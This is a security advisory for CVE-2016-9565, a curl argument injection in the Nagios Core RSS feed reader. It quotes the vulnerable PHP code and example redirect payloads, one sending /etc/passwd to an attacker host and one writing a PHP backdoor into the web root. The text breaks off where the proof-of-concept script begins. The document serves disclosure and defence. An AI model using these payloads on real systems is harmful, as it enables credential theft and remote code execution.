Nagios Core Curl Command Injection / Code Execution
Posted on 15 December 2016
__ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ / __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ / ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ ============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2016-9565 - Release date: 13.12.2016 - Revision 2.0 - Severity: High / Critical ============================================= I. VULNERABILITY ------------------------- Nagios Core < 4.2.2 Curl Command Injection / Remote Code Execution II. BACKGROUND ------------------------- "Nagios Is The Industry Standard In IT Infrastructure Monitoring Achieve instant awareness of IT infrastructure problems, so downtime doesn't adversely affect your business. Nagios offers complete monitoring and alerting for servers, switches, applications, and services." https://www.nagios.org/ III. INTRODUCTION ------------------------- Nagios Core comes with a PHP/CGI front-end which allows to view status of the monitored hosts. This front-end contained a Command Injection vulnerability in a RSS feed reader class that loads (via insecure clear-text HTTP or HTTPS accepting self-signed certificates) the latest Nagios news from a remote RSS feed (located on the vendor's server on the Internet) upon log-in to the Nagios front-end. The vulnerability could potentially enable remote unauthenticated attackers who managed to impersonate the feed server (via DNS poisoning, domain hijacking, ARP spoofing etc.), to provide a malicious response that injects parameters to curl command used by the affected RSS client class and effectively read/write arbitrary files on the vulnerable Nagios server. This could lead to Remote Code Execution in the context of www-data/nagios user on default Nagios installs that follow the official setup guidelines. IV. DESCRIPTION ------------------------- Vulnerability ~~~~~~~~~~~~~~ The vulnerability was caused by the use of a vulnerable component for handling RSS news feeds - MagpieRSS in Nagios Core control panel / front-end. The component was used by Nagios front-end to load news feeds from remote feed source upon log-in. The component was found vulnerable to CVE-2008-4796. Below are relevant parts of code from the vulnerable RSS class: ---------------------------------------------------- function fetch($URI) { ... case "https": ... $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); $this->_httpsrequest($path, $URI, $this->_httpmethod); ... } ... function _httpsrequest($url,$URI,$http_method,$content_type="",$body="") { # accept self-signed certs $cmdline_params .= " -k"; exec($this->curl_path." -D "/tmp/$headerfile"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return); --------------------------------------------------------- As can be seen, the _httpsrequest function uses a curl command to handle HTTPS requests. The sanitization used to escape $URI did not prevent injection of additional parameters to curl command which made it possible to, for example, get curl to write out the https response to an arbitrary file with the $URI: https://attacker-svr -o /tmp/result_file The vulnerability was reported to Nagios security team. Nagios 4.2.0 was released which contained the following fix for CVE-2008-4796: --------------------------------------------------------- # accept self-signed certs $cmdline_params .= " -k"; exec($this->curl_path." -D "/tmp/$headerfile"".$cmdline_params." "".escapeshellcmd($URI).""",$results,$return); --------------------------------------------------------- Further research found the fix to be incomplete as the extra sanitization by the above patch could be bypassed by adding extra quote characters in the $URI variable e.g: https://attacker-svr" -o /tmp/nagioshackedagain " This vulnerability has been assigned CVE-2016-9565 and was addressed by Nagios team in the new release of Nagios 4.2.2 by removing the vulnerable class. Injection Point / Controling $URI var ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The affected versions of Nagios Core front-end contain three files that trigger the _httpsrequest() function with the injectable curl command shown above: - rss-corefeed.php - rss-corebanner.php - rss-newsfeed.php These are used to fetch news via an RSS feed from www.nagios.org website via HTTP or HTTPS (see the notes below) protocols. The news are displayed on the Home page of the Nagios front-end upon log-in. All 3 scripts call fetch_rss() as follows: ------[ rss-corefeed.php ]------ <?php //build splash divs to ajax load do_corefeed_html(); function do_corefeed_html() { $url="http://www.nagios.org/backend/feeds/corepromo"; $rss=fetch_rss($url); $x=0; //build content string if($rss) { $html =" <ul>"; foreach ($rss->items as $item){ $x++; if($x>3) break; //$href = $item['link']; //$title = $item['title']; $desc = $item['description']; $html .="<li>{$item['description']}</li>"; } $html .="</ul>"; print $html; -------------------------------- An attacker who managed to impersonate www.nagios.org domain and respond to the web request made by the fetch_rss() function could send a malicious 302 redirect to set $URI variable from the _httpsrequest() function to an arbitrary value and thus control the curl command parameters. For example, the following redirect: Location: https://attackers-host/get-data.php -Fpasswd=@/etc/passwd would execute curl with the parameters: curl -D /tmp/$headerfile https://attackers-host/get-data.php -Fpasswd=@/etc/passwd and send the contents of the pnsswd file from the Nagios system to the attacker's server in a POST request. Attack Vectors ~~~~~~~~~~~~~~~~~ In order to supply a malicious response to fetch_rss() the attacker would need to impersonate the www.nagios.org domain in some way. Well-positioned attackers within the target's network could try network attacks such as DNS spoofing, ARP poisoning etc. A compromised DNS server/resolver within an organisation could be used by attackers to exploit the Nagios vulnerability to gain access to the monitoring server. The vulnerability could potentially become an Internet threat and be used to exploit a large number of affected Nagios installations in case of a compromise of a DNS server/resolver belonging to a large-scale ISP. Notes ~~~~~~~~~~~~~~~~~ [*] Nagios front-end in versions <= 4.0.5 automatically load the rss-*.php files upon login to the Nagios control panel. Later versions contain the vulnerable scripts but do not load them automatically. On such installations an attacker could still be successful in one of the cases: a) if attacker had low-privileged access (guest/viewer account) to the control panel and was able to execute /nagios/rss-newsfeed.php script b) perform a CSRF attack / entice a logged-in nagios user to open the URL: http://nagios-server/nagios/rss-newsfeed.php c) well-positioned attackers on the network might be able to modify the traffic and inject a redirect to /rss-newsfeed.php script when Nagios control panel is accessed via HTTP by an authenticated user [*] The rss-*.php scripts in Nagios Core >=4.0.8 use HTTPS to fetch news feeds however as has been previously shown in _httpsrequest() function, the curl command gets passed a '-k' (--insecure) parameter which accepts self-signed certificates. Arbitrary Code Execution ~~~~~~~~~~~~~~~~~~~~~~~~~~ Nagios Core installations that follow the official installation guidelines: https://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf as well as the commercial Nagios VMs available for purchase on the vendor website make the web-server user (www-data) part of the 'nagios' group which has write access to the web document root (/usr/local/nagios/share). This can allow attackers who manage to exploit the vulnerability and inject parameters to curl command to save a PHP backdoor within the document root via a 302 redirect similar to: Location: http://attacker/php-backdoor.php --trace-ascii /usr/local/nagios/share/nagios-backdoor.php and have it executed automatically upon a log-in to the Nagios control panel via html/JS code snippet returned as a part of the RSS feed as demonstrated by the PoC exploit below. The privileges could then be raised from nagios user to root via another Nagios vulnerability discovered by the author of this advisory CVE-2016-9566: http://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html V. PROOF OF CONCEPT ------------------------- Below is an exploit that demonstrates reading, writing, and code execution on affected Nagios installations. The attack flow is as follows: For simplicity, to test the attack vector, a static DNS entry can be added inside the /etc/hosts file on the victim Nagios server to point the www.nagios.org domain at an attacker's IP where the exploit is executed. ----------[ nagios_cmd_injection.py ]---------- #!/usr/bin/env python intro = """